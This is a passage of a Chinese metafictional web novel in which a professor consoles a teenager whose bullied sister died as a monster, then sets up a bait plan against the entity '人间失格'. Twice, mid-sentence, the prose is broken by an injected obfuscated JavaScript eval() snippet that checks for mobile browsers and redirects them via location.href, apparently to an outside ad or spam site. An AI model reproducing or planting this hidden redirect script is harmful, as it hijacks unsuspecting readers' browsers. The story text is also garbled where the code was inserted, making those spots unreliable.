因为他早就发现了:在那只怪物发出可怖但又带着几分亲近感的嘶鸣声时;在那只怪物从天空落下,张开巨大的翅膀扑向他时;在他眼角的余光瞥到怪物“羽毛”中的闪光时。 那是他妹妹稚嫩的声音,那是她妹妹在他回家时张开双臂的动作,那是他不久前为妹妹买的生日礼物:一个廉价但闪耀着光芒的塑料首饰。 一切都是那么熟悉。 所以他才说“对不起”,说了一次又一次。所以他才那样飞快地逃开,甚至都不敢回头去望上一眼。所以他才在发现妹妹不在家后,第一反应就是重新跑回怪物那里。 但他怎么能承认,那个鲜血淋漓的、有着翅膀的肉块是自己的妹妹啊…… 石坂洋次郎再次从地面上爬起,发出抽噎的声音,用颤抖的嘴唇不断地说“对不起”。 他从妹妹身边逃跑了,他把她抛下了,他让她一个人孤零零地面对钢铁与火药。她还是个八岁大的孩子,就已经被所有的亲人抛弃。 现在他甚至没法改变她注定的结局:是啊,注定的。她就算变成怪物,就算有翅膀,也没法从子弹中逃走,她还那么小,她飞不了太高…… 石坂洋次郎勉强支撑起自己的身躯。他缓慢地挪动着自己的步伐,他努力地向着前方走去,他满脸泪水地朝着自己妹妹所在的方向重新奔跑。 他感觉跌跌撞撞,头昏眼花,一路上不知道撞到了或者惊吓到了多少人。最后在一片强烈的眩晕感中,他看到前方的天空中落下一个血红的身影。他看到那个血红的影子落在自己的面前。 啊,是新子。 她飞过来了,但姿态更像是滑翔。她的身躯流着血,染红了那些“羽毛”,或者说是褶皱堆叠的角质与皮肤。 面前的东西完全算不上人类,只能说是一个被剥了皮后又被缝上新皮的可怜生物——或者野蛮的艺术品。光是注视着它,人类便会感到本能的不安与疼痛:人类的共情能力唯有在这一刻才表现得如此明显而清晰。 石坂洋次郎伸出手。泪水让他只能看到抽象的大红色块,他的妹妹在他的眼中变成了一只模糊的红鸟,燃烧着火焰的、不死的凤凰。 “新子,我回来了。”他说。 这只流血的怪物嘶鸣着。 它的眼睛被子弹破坏了,但是听觉还没被破坏,所以它努力地朝自己哥哥的方向望去。它的声带被毁掉了,但是泪腺却没有被毁掉,所以它的面容被打湿得像是雾天的湖泊。它的双脚被挪用了,但是双手只是变成了翅膀,所以它跌跌撞撞,却仍在前行。 它作为“人”的身份已经被抛弃了,但爱它的人还没有把它抛弃。 所以它扑进自己兄长的怀里,闭上眼睛。 ——它死了。 一动不动,在无尽的挣扎中。 20.在虚构故事中寻找真实感的人—— 夏章雾其实并不想再见到石坂洋次郎。 事实上,在去见这个孩子前,他尝试了各种各样的手段,想把这份任务丢给别人,首要目标就是某位知名不具的俄罗斯乌鸦嘴。 但他很快想起来,这家伙的道德只能说是初具人形,遂遗憾放弃,转头就把这份责任甩给了坂口安吾。可很快,他又想起来这孩子的情商实在难以评价,只能再次遗憾放弃。 江户川蓝峰——还有别的事要忙,放弃。 其他警员——理由同上,放弃。 至于其余人……行,没有其余人了。 夏章雾深深地叹了口气,不得不接受了“在场的人只有自己最靠谱”的悲惨事实,有些疲惫地站起身,打开手机,瞅了眼上面的时间。 九点四十九。 作为教授,他确实和不少学生谈过话,但他们至少都成年了,心理承受能力一个比一个强,而且还没死过妹妹——就算死过,他们的妹妹也不是以怪物的姿态死在自己怀里的。 最重要的是:谈话时间从来没这么晚过。 从来没有。 他再次叹了口气,以“风萧萧兮易水寒”的苦涩姿态朝问询室走去,脑海里全是由“学校”“下班时间”和“青少年心理咨询”这几个词组成的笑话。 “你可以不用这么紧张。” 画外音安慰道:“就算你的语言表达能力再差,也不会把那孩子说到心态崩溃、泪流满面、上吊自杀的。” “呵呵。” 夏章雾毫无感情地回答,然后惆怅地望了望天花板,手掌放在门把手上,迟迟没有按下。 “你觉得他哭一小时够吗?” 他认真地说:“其实我一直有着十点半睡觉的好习惯,昨晚已经很让我精疲力尽了。自从来到青森,我就没睡过好觉:第一天在倒时差,第二天在勇闯研究所,第三天要安慰小孩……” “放心。明天你睡到早上十点半都没事。” 作者咳嗽一声,对今晚几点才能回旅馆睡觉闭口不谈,转而给自家主角画起了饼:“我可以让青森的这个夜晚和平一点。相信读者们是能理解的。” 夏章雾第三次叹了气。 “你PUA员工的技术还不如我们校长呢。”他忧愁地看了看自己的手掌,最后选择从读者那里拿到一些安慰,伸手就拿出了笔记本。 然后他就看到了一大片情绪沮丧的读者,以及情绪激动的爱丽丝。爱丽丝大抵已经被悲剧给砸傻了,以至于这个前些时候还在讨论利用人间失格方案的读者突然一转画风。 「桉莉斯: 能把人间失格送上火刑架吗?」 “火刑架烧不死它的。” 夏章雾拍了拍书页,安慰道:“我到时候帮你多揍它一拳。放心,绝对不留手。” 「飘然如烟: ……钦定了哥哥不会死去某种程度上让人更加悲哀:要从一直以来的自我欺骗中醒来,面对一个对待他和他所爱的,所仅有的家人都绝不宽容的世界,以及或许已经因为他的自我欺骗而失去的,与真正的妹妹亲近沟通的那些时光。 他已经为自己的一时逃避付出了过于惨痛的代价;他也无法再成为怪物了,因为现在他无法成为“人”以外的生物,因为那个吸引着变成了怪物的妹妹俯冲的,一定是家人而非别的什么……」 夏章雾捂住了胸口。 不知为何,看完这些评论后的压力更大了,唯一的安慰或许就是接下来不会再出现死人。 “读者们啊。”他虚弱地说,“要不你们还是拿我当主角讲点笑话吧?我能接受的。” “你可以看看前面的内容。”作者突然插嘴道,“爱丽丝之前还在讲你的笑话。主题是你怎么都记不住费奥多尔的名字。” 夏章雾:“……” 怎么又是你,爱丽丝! “竟然把前面还在说笑话的可爱读者刀得想要把人间失格丢上火刑架!”他立刻不再谈论有关笑话的话题,转而大声谴责,“太坏了,作者!怎么有人可以这么坏!” “还有读者在表示你有逃避人格。” 作者翻到了评论区,开始大声朗诵,“感谢比心Q3Q的投稿:为什么要这么肯定呢?明明前面那位费列罗先生都和那条蛇说了你有过失忆……而且你还欠了情债……怎么看都不应该如此笃定的认为没有失忆吧……” “怎么你们信那条蛇都不信我!” 夏章雾对此表示抗议:“我就是没有失忆啊,那条蛇是在纯粹的污蔑!而且逃避型人格怎么你们了!你们要是知道自己会和那个俄罗斯侦探扯上关系,逃避程度只会比我更夸张!” “唉。” 作者装模作样的叹气声从虚空中传来:“好没用啊,主角。” 夏章雾磨了磨牙。 他这没理会作者的阴阳怪气,毅然决然地推开门,表情悲壮得像是要面对成建制的巨龙军队——当然,里面没有巨龙,只有一个十五岁的男孩。对夏章雾来讲,后者或许还要更可怕点。 不,是可怕得多。 “我们已经调查完你妹妹身上发生的事了。” 他开门见山地说,目光微微挪开,几乎是本能地拒绝了对视。 石坂洋次郎抬起头,看着这个走入房间的人。他的眼睛红肿,脸上满是泪痕,面色苍白又憔悴,嘴唇控制不住地打颤:估计就连平时霸凌他的人都没见过他这么狼狈的样子。 “新子她……” 他艰涩地开口,嗓音沙哑到让夏章雾想到了之前遇到的那些怪物:“她到底遭遇了什么?” 夏章雾的目光挪动了一下,从最左边一直移到了最右边,就是不敢去看对方的眼睛。他心里很绝望地想着这问题我要怎么回答啊,但最后还是老老实实地说出了实话: “她生前确实遭到了霸凌。” 他说:“但并不是生理上的。具体的情况你应该也能想象到。至于这次最终让她选择变成怪物的霸凌事件……” 夏章雾战术性停顿了一下。后面的半句话是需要足够的勇气才能说出口的,而他现在正在非常努力地积蓄勇气。 “她的同学拽下了她的裤子,因为他们很好奇她是男孩还是女孩。在她挣扎的时候,她的项链被扯下来抢走了。” 绝望的另一端是彻底的平静,就像是波光粼粼的大海内部,连水的流动都是无声无息。 夏章雾现在就处于这样的状态。 说出这句话后,已经没什么好害怕的了。 他终于挪动了目光,望向身前的孩子:同样看不到任何愤怒和悲伤,只有比纸张还要空洞的神情凝固在那张稚嫩的脸上,如同一比一地摹刻出了张与人脸极其相似的面具。 你要不还是哭吧。 他默默地想:这样我说不定还好受点。 “她变成怪物时,想要达成的愿望是把属于自己的项链抢回来。” 夏章雾说:“事情就是这样。” 他看着面前的孩子,脑海里却在想着那只怪物所属的神话原型:鹰身女妖,即哈耳庇厄,很经典的神话怪物。 它的词源来自希腊语αρπ?ζω,意味抓取、抢夺。在金羊毛的故事里,它们正如普罗米修斯故事中的那只秃鹫,负责给另一位先知菲纽斯带来无尽的折磨。 啊,是的。就像希腊神话里的先知是倒霉的代名词一样,鹰身女妖也是偷盗与掠夺的代称。夏章雾想到那个被霸凌的女孩变成的竟然是这样的怪物,就忍不住地感到一阵阵的荒谬和讽刺。 如果人间失格选择“鹰身女妖”是故意的,那它一定非常懂得什么叫黑色幽默——它甚至差点把夏章雾给逗笑了。 真的,就差一点。 “她三天前剪了头发。” 不知道过了多久,石坂洋次郎才用沙哑的声音说。 他的声音像是从沙砾中生长出来的,但语气却轻盈得可怕,似乎连地球的重力都抓不住它: “她听别人说头发可以卖钱,所以剪掉了自己的头发,好卖给别人。我回家才发现,她的头发已经没了,变得很短,和男生的头发一样。” 夏章雾安静地听着。 他感觉自己像是在听从深海中冒出的声音。 这位平时都不怎么抽烟的人类学教授,此刻突然很想抽烟:有时人想要抽烟,只是因为它能给肺部带来痛苦。狄更斯这么和他说过,他当时没理解,但现在懂了。 人类的共情能力是如此的差劲,足以毁灭一个人的悲剧顶多只能让另一个人的眼眶湿润。如果你要是想切身地感受别人的痛苦(一般来讲,这么做的原因永远是出自可笑的内疚心),就必须得借助点外来的东西。 “我那个时候就应该发现的。虽然就算在那个时候发现也太晚了。”这个平静的、沙哑的、苍白又飘忽的声音继续说。 “我一直没有了解过新子。我从来都只是在一切都发生后,才意识到她到底遭遇了什么。对于那个结果,我也总是在逃避。” 是的,石坂洋次郎是活在天真的幻想里的人。 是的,石坂洋次郎是过于相信自己想象的人。 是的,石坂洋次郎只有十五岁,还是个初中生。他活在过度的精神紧张和美好想象里。他每天问自己的妹妹在学校开不开心,问她有没有被人欺负,要她好好地对待自己。他有定期带着自己的妹妹去体检,他也有认真地和妹妹的老师交流。 他上午送妹妹上完学后,一路捡着瓶子去上学,中午吃着廉价便当,下午拒绝了学校所有的活动,直接跑到小学门口等送妹妹回家。 他一攒够废品就去换钱,他周末去想方设法地恳求别人让他打零工。在这些之外,他剩下来的时间全部用来思考如何让妹妹开心,还有去努力地让妹妹开心。 夏章雾想说“你没有错”,但他只是沉默。石坂洋次郎也只是沉默。 作者想要说话,但只是发出“嗯”的一声,然后就有些尴尬地闭上了嘴。夏章雾知道它想说什么,大概是想要催促自己快点推进剧情,别卡在这个令人尴尬的地方。 行吧,那就推进剧情。 “你在遭到霸凌却没有人安慰时,会埋怨自己的妹妹吗?或者说是别的不知情的朋友?” 夏章雾很直截了当地问。 石坂洋次郎的眼珠有些呆滞和茫然地转动了一下,和人类学教授金棕色的眼睛对上:那对属于成年人的眼睛中有着股毫不掩饰的、刀锋般锐利的审视姿态。 “不。”他说,“可她是我的妹妹……” “别‘可是’了。” 夏章雾的眼睛微微眯起,毫不客气地打断了对方的话,在心里却稍稍松了口气——能够对别人的话产生反应就好,他就担心这孩子一直保持着这副呆呆愣愣的样子,拒绝与外界沟通。 “她是你的妹妹又怎么了?” 想了想接下来的安慰方式,夏教授直截了当地说:“是这样就能让你的一天进化成四十八小时,还是能让你违背物理规律觉醒心灵感应?得了吧,这位小崽子,我要告诉你一件事:在这个冰冷的物理宇宙里,人类是没法喊着亲情啊羁绊啊,然后就制造奇迹的。” 如果有这方面的异能倒是可以。 他悄悄地在内心补充了一句:异能力这种东西就是能把物理学给按在地上强[哔]。 “因此,我的原则很简单:与其埋怨自己,不如指责他人。放下助人情节,嘲笑他人命运……咳咳,后面半句不用学,重点是前面。” 夏章雾咳嗽两声,表情重新变得严肃起来。尽管他说的内容和严肃没有半点关系,甚至还透着十成十的轻佻和散漫: “所以说,这位沉浸在无与伦比的痛苦中的少年哟——比起在这里自怨自艾,你有去为自己的妹妹再做点什么的打算吗?” 再做,什么? 少年似乎想到了某些东西。他的牙齿开始咬紧,拳头放在胸口,用力地呼吸起来。 夏章雾满意地看着这一幕。 很好,有情绪波动就是好事。 “为复仇而活并不是个很好的活法,但总比自我折磨要强。虽然理想主义者总指望每个人都能放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187764|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下仇恨,用爱来代替报复,但……好吧,这就是他们为什么被称作‘理想主义者’。” 夏章雾两只手插在口袋里,看着面前这个眼睛中重新燃烧起火焰的孩子,声音平静: “感谢残酷命运留给你的最后一丝怜悯吧:造成你妹妹死亡的家伙之一并不受到人类道德与法律的保护。你在报复时并不需要考虑什么狗屎道德顾虑,也不用去诘问自己的内心。” 一个活着的全部意义就是伤害人类的怪物,本身就是人人得而杀之的目标。不管有没有亲人被伤害都是一样。 沉默。 “不止有它。” 短暂的安静后,石坂洋次郎缓慢但是坚定地开了口,他的眼睛依旧是红肿且湿润,但在泪水模糊的折射中,闪烁着更为坚硬的东西:“还有别的,人类。” 啊,他就知道。 夏章雾想:麻烦的地方就在于这里。 复仇的火焰一旦燃烧起来,就不是那么容易被熄灭和终止的。指望在杀死人间失格后,这孩子就能放下仇恨根本不可能。 “对人类的复仇要麻烦很多。” 成年人发自内心地说:“他们没做出任何物理上的伤害行为,而且年龄太小,无法判刑。不过真要说的话,你也是未成年——嗯。” 说到这里时,夏章雾轻微地反思了一下:感觉自己的道德水平好像不小心突然暴露了。不过也没事,他本来就没指望自己能成一个好人。 “别死人就行。”他说,“我支持你。” 复仇的人或许最想要得到的就是这个回答。 男孩睁大眼睛看他。 “谢谢你。”吸了几下鼻涕,他用手背擦了擦脸,以沙哑的声音说。 “呃,没事,反正我本来就不算是什么好东西——咳咳咳!” 夏章雾耸耸肩,差点把自己的真心话给说出去,但他很快就意识到了不对,重新摆出大义凛然的姿态,用力拍了拍石坂洋次郎的肩膀: “呃,我的意思是,这都是作为主角和先知的我应做的。放心吧,小崽子,以后想做什么事就去放心大胆地做!不管是去当超级大善人给孤儿送温暖,还是去做黑暗里的复仇英雄。先知都在此表示:你做的对!” “——所以,别担心。” 他认真地说:“千万别担心。” 石坂洋次郎张了张嘴,注视着对方那对认真的、甚至有点担忧的眼睛。 漫长的沉默。 也不知道过去了多久,男孩的喉咙里突然涌出了短促的呜咽,他的泪水再次夺眶而出。 “到底为什么呢?为什么啊?” 石坂洋次郎蜷缩着抱紧自己,他的声音断断续续,连带着话里面的意思也支离破碎得不成样子:“如果我们身边的大人和您一样就好了……如果新子的老师和您一样就好了……为什么,非得新子死掉后,才能遇到您这样的人……” 夏章雾没有说话。 他只是叹了口气,然后抱紧这个小家伙。 他很害怕小孩子哭。而小孩子哭起来也有无数种的情况。 而这,刚好就是他最接受不了的那种。 “慢慢去想你接下来的日子吧。” 他说:“人生还很长呢,用整整十年来想明白该怎么活也不算太晚,小家伙。” 他再次拍拍这个孩子的肩膀,耐心地等到他哭到累了,才缓缓起身,在轻声的告别后离开了房间。 当走出那个暗沉沉房间的瞬间,夏章雾看着警察局走廊上的白炽灯,终于长长地舒了口气,瘫倒在墙上。 终于,结束了。 “比和怪物打架还累。”他说。 “我也好累。”画外音有气无力地说,“我码了好多好多字……” 夏章雾虽然已经没什么力气了,但还是翻了个白眼。 “那孩子未来会怎么样?” 他问,同时看向那间询问室。 “没想好——不过只是个路人耶,感觉他的未来稍微提一下就行了。其实不提也没什么,说不定读者很快就会忘掉这家伙。” 作者打了个十分明显的哈欠,它看上去真的累得要命:“啊呜……真的好困,写完这个结尾就去睡觉好了。” “喂,作者。” 夏章雾喘了两口气,调整了一会儿呼吸,然后突然开口。 “怎么了?” 作者困困地问:“每次你这么正经地喊我总没好事。” “从我目前的经历来看,你应该是那种很喜欢描写人性混沌一面的、不喜欢写纯粹的好人,但也不喜欢写纯粹的恶人的家伙。” 夏章雾突然一本正经地说:“而且很习惯于描写人类的两面性和荒谬……” 作者大惊失色。 “你怎么知道我最初是打算把你当时在街道上救下来的那个小女孩设置成霸凌者的?”它快速地翻了遍评论,“也没读者透露给你啊?” “……我不是这个意思。” 夏章雾捏紧了拳头,咬牙切齿:“我指的是,你能不能答应我一件事。” “啥?” “如果那孩子真走上了复仇的道路,你能不能别惦记你那个破烂人的两面性了。” “欸?” “你就让死在他手里的全是真正的恶人,恶劣到每个人见到都想吐两口吐沫再走的混球吧。就当是我这个主角对你的请求:反正他也不过是一个路人,未来怎样都无所谓,对吗?” 作者似乎认真地想了想。 “你是在应用飘然如烟教你的技巧吗?”它说,“但要是这样的话,故事就不是很真实了哦。” 然而夏章雾只是用看弱智的眼神看了眼它。 他用手指了指地板。 “这里,是二次元世界。” 他再指指自己。 “而我们,是二次元人物。” 作者没说话,只有夏章雾一个人在说。 只有夏章雾一个人在笑。 他满不在乎地微笑着,开口道:“这里可是二次元啊,要什么真实?” 21.那我问你那我问你 三月九日,十点二十一分。 阳光灿烂的天气配上了阳光灿烂的时辰。整个青森沐浴在金灿灿的太阳下,就像是美洲神话当中那座黄金浇筑的城市。 一个或许能够影响人类命运的故事就这样静悄悄地发生在了这个时刻。而就像历史当中很多类似的时刻那样,人类或许要过很久,才能意识到这一天对他们的意义。 至少在现在,这件事是以一声懒洋洋的、普通到不能再普通的吃饭邀约作为开头的。 “早上好唔,小崽子。今天的太阳很好,等到结束这件事后,我们就一起去吃午饭——安吾,这家店的早饭还不赖嘛。” 夏章雾的声音从头戴式耳机里传来。 这位人类学教授说话的语气依旧还是他惯常的懒散风范,字词间混杂着颇为怪异的咀嚼声,似乎是正在边吃东西边聊天。 坂口安吾模糊不清的无奈声音紧接着传来: “虽然被这么讲有种与有荣焉的感觉,但说这话时,某人能不能从自己的钱包里面掏钱啊……” 在封闭式房间里,石坂洋次郎调整了一下头戴式耳机的位置,好让自己能够听得更清楚点,同时有些紧张地握住双手,尝试平息手指的颤抖。 他现在满脑子都是和“人间失格”有关的事。就连他自己都说不清,此刻的心情到底是因即将见到害死妹妹的罪魁祸首而激动,还是因即将见到一个怪物而紧张。 “放轻松。”夏章雾似乎察觉到了什么,“就像我告诉你的那样:别担心,千万别担心。” “好——” 石坂洋次郎赶紧回应,但在发现自己的声音在微微颤抖后就立刻后悔了。他赶紧做了几个深呼吸,但收效甚微。 “啧,很紧张的话,就把我昨天说的关键要点复述一遍。”耳机对面的男人咂吧了一下嘴,“应该还能记起来吧,小崽子?啧,值得一提,我尤其喜欢这里的味增汤。我总算明白道格拉斯为什么那么喜欢日本料理了。” 他又开始和旁边的人说话了。聊天的内容从“你比较喜欢哪个国家的料理”一直飘移到了“英国的交通法规简直是世界上最不可理喻的东西”。 石坂洋次郎双手交握,对自己没有受到更多的关注而悄悄松了口气——就和那些发现老师不再看自己的学生一样。然后他开始小声地念起了昨天晚上夏章雾叮嘱他的内容。 在看到人间失格后保持冷静,保持警惕,坚定对自我的认知,永远不要以为它能够用语言轻而易举地拒绝,也永远不要相信它口中的任何一句话,更永远不要向它提出自己的愿望。 以及,永远不要对它抱以任何怜悯和共情。 石坂洋次郎还记得夏章雾当时对他说的话。 “还是把那点可怜的共情能力留给人类吧。实在做不到,留给动物植物食物也可以。” 那个人在说起这个的时候,语气似乎显得特别轻松:“只要别留给它就行。它们不值得你这么做。” 人间失格是怪物,是光存在便在对人类造成伤害的不可理喻之物。如果它表现得很像人类——那么也一定只是它用来吸引人类的伪装。 就像深海的鮟鱇,它们头顶的发光器官并不能说明这是种喜爱光明的动物:那只是它用来引诱喜欢光明的生物的手段而已。 石坂洋次郎深深地吸了口气。他攥紧自己的衣角,缓缓地平复着呼吸,目光逐渐坚定起来:他明白,自己接下来必须要去面对这个了。 而此时的耳机里,夏章雾正在发表自己对英国电信的强烈控诉。 “我不知道该怎么描述英国电信。狗屎吗?这种说法简直太便宜它了。” 这位英国教授恶狠狠地说:“对于他们,我需要一个比畜生更有攻击性的词……呃等等,你已经全都念完了,对吧?” 他说了一半就停下嘴,突然切换了话题,像是突然反应过来自己的信号频道和石坂洋次郎还联通着,不太好在倒霉初中生的面前讲脏话。 当然,也有可能他暂时还没有想到“比畜生更有攻击性的词”到底是什么。 “嗯。”石坂洋次郎努力调整着自己的呼吸,“我全部都念了一遍。我觉得……” “先等等,先等等。我还没吃完早饭呢。” 夏章雾打断了他的话,夹杂在字与字间的咀嚼声再次响了起来:“而且有的东西也有必要额外再给你说一下。昨天讲的内容当然是最重要的,但我们刚刚吃早饭时商量了一下,觉得有些知情权你也应该知道。” “就比如说……哟,这不是侦探先生吗?你也过来吃早饭——什么,你都吃午饭了?十一点都还没有到呢!好的,好的,我现在知道你的饮食习惯很健康了,警局见。” 夏章雾快速地结束了另一段对话,他把注意力重新放到耳机上:“要讲的主要是人间失格把人类转化为怪物的机制。当然,大多属于猜测,但和真实情况应该不会差太远。” 转化成怪物的,机制? 石坂洋次郎几乎是瞬间就想到了自己的妹妹。 “是……”他说。 “与病毒类似。”夏章雾打断了他的话,没让这孩子继续自己胡思乱想下去,“但人间失格只能通过人类的肢体接触传播。” 感谢江户川警官,感谢某些死刑犯,也要感谢某个俄罗斯侦探的那条蛇:在确认人间失格与记忆有关后,它昨天被侦探丢出去调查了一遍青森市民的记忆问题。 带回来的消息让所有人都松了口气。 人间失格的传播方式并没有夏章雾和读者们想象中的那样夸张:不会通过视线、信息、记忆、思想、网络、空气、水源传播,也无法经由任何非人类生物的媒介进行传染。 ——简而言之,能使这种新型“疾病”扩散的有且只有人。 夏章雾觉得这很贴近于“飘然如烟”在前几章所做出的猜想:你必须要先是人类,然后才能失去作为人的资格。别的媒介是不行的,因为“人间失格”这个词不能用在它们身上。 “总之,通过这种方式,人间失格能把普通人转变为它的潜在感染者。它能够进入这些人最近的记忆,并和他们进行对话。” 只是思考了片刻,夏章雾便从对未来的想象中回过神来,继续说道:“但这并不意味着他们可以很轻松地被转变为怪物,还需要别的条件。” 如果不是这样,青森县的怪物杀人事件绝对不会只有这么几件。蛇的说法也作证了这一点。 “别的条件……”耳机那头的石坂洋次郎低声道,心情再次低沉了下去,“就是不幸吗?” 虽然选择了报仇,但他依旧对自己没有发现妹妹身上的苦难感到内疚。如果他再仔细一点,那么事情可能就不会变成这样了。 “目前并不确定。但很有可能,心理状态越危险的人,就距离它越近,越容易被它捕获。” 夏章雾按了按眉心:“你之前的状态就已经很糟糕了,做好准备。” 笔记本上很多读者都聊到过,人间失格似乎在不同的人眼里,呈现为不同的清晰度。有的人看到的是黑影,有的是猫,有的是类猫存在。 就像是一个下潜的过程。 潜入越深,人间失格在记忆里的形象也就越清晰。或许它能造成的影响也就越大:这就说明了为什么人间失格找到太宰治的那一天,许多人都出现了“今天是阴天”的错误记忆。 不过,其中还有许多没有搞懂的地方。 比如…… 夏章雾满脸严肃,目光直直地盯着味增汤里那几颗“形迹可疑”的豌豆。 “还有问题。” 他突然说。 “问题?” 耳机那头发出有点不解的重复。 就连坐对面的坂口安吾都停下了用生鸡蛋拌饭的动作,好奇地看向他。 “没什么,我的意思是你在它的面前最好表现得坚定一点。不要尝试从它身上寻找任何问题的答案,也不要提问和相信它的任何解答。” 夏章雾看着豌豆的目光有一瞬间可以算得上是恶狠狠,眉毛都皱紧了,但很快就又舒展开来。他把豌豆全都挑到一边,语气也重新恢复了平时轻佻且懒散的样子: “不管怎么说,多注意点东西总没有害处——不过说这个可能有点多余。你肯定会在方方面面都很谨慎。记住,只要告诉它我们的计划就行。如果你已经做好准备,那现在就可以开始了。” 坂口安吾默默投来了“你这家伙怎么还这么挑食啊”的眼神。 “而且不需要强迫自己回想起妹妹,我想那个生物需要的不是你的绝望和痛苦,否则它应该早就出现了。尝试一下别的情感吧。” 夏章雾很好心地提醒道。 “我,我会努力的。” 耳机那头传来深呼吸的声音,随后呼吸声开始逐渐放缓,最后变成了睡梦般均匀的呼吸。 夏章雾耐心地等了一会儿,没有听到任何其他的动静。于是他脸上的表情很快就轻松起来,继续吃着自己的早饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187765|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “话说回来,你们早饭是不吃寿司这种可以随身携带的食物吗?你们这里的人是不是都没有上班赶时间的苦恼?” “确实是可以吃寿司啦。” 坂口安吾虚着眼睛,口中发出犀利的吐槽: “但是这种连早饭都没有时间吃的生活怎么想都太可悲了吧……” 夏章雾有些古怪地盯着他,随后回忆了一下读者的评论,脸上逐渐浮现出不怀好意的微笑。 “作为初中生的你,说出这种话当然很轻松。” 他站起身,拍拍坂口安吾的脑袋,给出了相当恶毒的“预言”:“但有朝一日,你也会成为可悲的社畜的。我期待那一天。” 说完这句话,夏章雾潇洒地转身离开,只留下了坂口安吾一个人目瞪口呆。 “喂喂,这是诅咒吧!为什么你这个先知还兼职诅咒人?” 初中生第一次被成年人的不要脸给震惊了,不过最重要的不是这个,是另一件事: “而且你走前是不是该还我饭钱——” 然而夏章雾根本就没听见未成年的控诉。 此时的夏先生已经成功从小饭馆中溜走了,并在街上和某位明显是在等着他的俄罗斯侦探打了个招呼。 “嗨,大侦探。要和我们的诱饵先生聊聊吗?当然,我说这话只是客套一下,你别当真。” 他懒洋洋地说了句,两只手都插在口袋里,习惯性地没话找话:“计划进行得还不错。我听不到那小子的声音了,应该是被拖进了回忆里。现在有什么想说的吗?” 费奥多尔侧过头看了他一眼,然后似乎真的认真考虑起了自己应该发表对此什么看法。那对酒色的眼睛看得夏章雾有点心里发毛,下意识地往旁边挪了几步。 然后,夏章雾就听到他用笃定的声音说: “关于不能向人间失格提问的事,你最初没打算提醒石坂洋次郎。” 夏章雾脸上散漫的表情消失了。 只有在他的脸上没有那种过于活泼和浮夸的幼稚神色时,人们才会发现夏章雾的外貌其实非常有攻击性,甚至可以说有点刻薄。 尤其是他微微上翘的唇角,好像天生就带着点儿尖刻的傲慢和讥讽意味,像是随时都准备好了要嘲笑某些东西。 过了好几秒,那副漫不经心的表情才重新回到夏章雾的脸上。这位人类学教授打了个哈欠,突然显现出兴致缺缺的模样。 “嗯,所以呢?”他问。 “您应该得到了有关他未来的预言。您知道他不会在这里死去。所以,您想通过这个方式,来验证自己的猜测是否正确。” 费奥多尔的表情不变,只是轻声说:“‘向人间失格询问’会不会是人间失格产生作用的另一个关键点,甚至唯一的关键点?您想知道这个答案。” 除了他得到的不是预言,而是作者亲自做出的承诺之外,其他的地方,全中。 “不愧是大侦探。” 夏章雾鼓了鼓掌:“全中。” 他昨天晚上之所以一直纠缠着作者,就是为了从它口中确切地得到“石坂洋次郎能够活到许久之后”的承诺,好实施自己的计划。 否则他怎么可能为一个素不相识的未成年,跟作者讨价还价、费尽口舌?他又不是那位道德素质远超常人的江户川警官,夏章雾自认为自己的良心基本上微乎其微的。 “那你为什么会突然放弃这个计划?” 画外音突然开口,它的声音笑嘻嘻的:“我很好奇哦,没什么良心的夏先生?” 你给我闭嘴,这儿没你的事! 夏章雾在心里严厉地指责。 “但您却放弃了这个计划。” 费奥多尔也微笑起来,他没有被夏章雾要求闭嘴,于是很顺利地把接下来的话说了出来: “果然,是好人啊。” “……” 夏章雾默默地转移了自己的指责对象。 他用非常、非常深沉的目光看着俄罗斯人,忍了半天,最后还是没忍住,艰难地从嘴里挤出了几个字来。 “所以?”他咬牙切齿地说,“你大中午的跑过来找我,就是来诅咒我上天堂的,是吧?而且我放弃这个计划,只是因为我已经有了另一个万无一失的究极方案了——” “唉,口不对心。唉,傲娇。” 作者在旁边,用十分悠然的语气说道:“突然想起来,前几章似乎有人说傲娇已经退环境了。哎呀呀,到底是谁呢……” 22.人间失格耳朵怎么尖尖的 “距离引诱计划的成功实施已经过去了两天。在这段日子里,青森市保持着微妙的和平。” 一个抑扬顿挫的声音包含感情地念道:“人间失格制造的怪物事件数量突然销声匿迹,再也没闹出什么大动静。因此,在几番波折后,封锁措施还是得到了落实。但令人不安的是,人间失格也迟迟没有按照约定现身。可主角不知道,今天就是人间失格履行承诺的日子……” “你闭嘴吧。” 夏章雾面无表情地说:“我现在全知道了。” 画外音“哎嘿”了一声,但还是兴致勃勃地念着自己的旁白:“人间失格并不畏惧人类的恨,因为人没法消灭活在记忆中的它。但它害怕人类对同类的冷酷——因为无差别的大规模屠杀,将意味着它也会被困在死者的记忆当中。” 今天的画外音显得格外活跃,就像地震前会乱吠的狗一样,简直精力充沛到了让人担心的地步。 夏章雾没再理会它,只是有些困倦地从床上爬了起来,准备去洗漱。天可怜见,他好不容易过上两天能够睡满八小时的日子,结果现在又要干活了。 在他刷牙时,画外音还在以旁白的身份,滔滔不绝地讲着前情提要: “所以它必须答应人类可耻的邀约,它必须要让人类放弃那些疯狂的念头。至于赴约带来的生命危险——它不认为人类能伤害自己。更何况,这次它也不是以真正的本体到来,前来的只是一段影子。它有无数的影子,但没人知道它的本体在哪个记忆当中……” 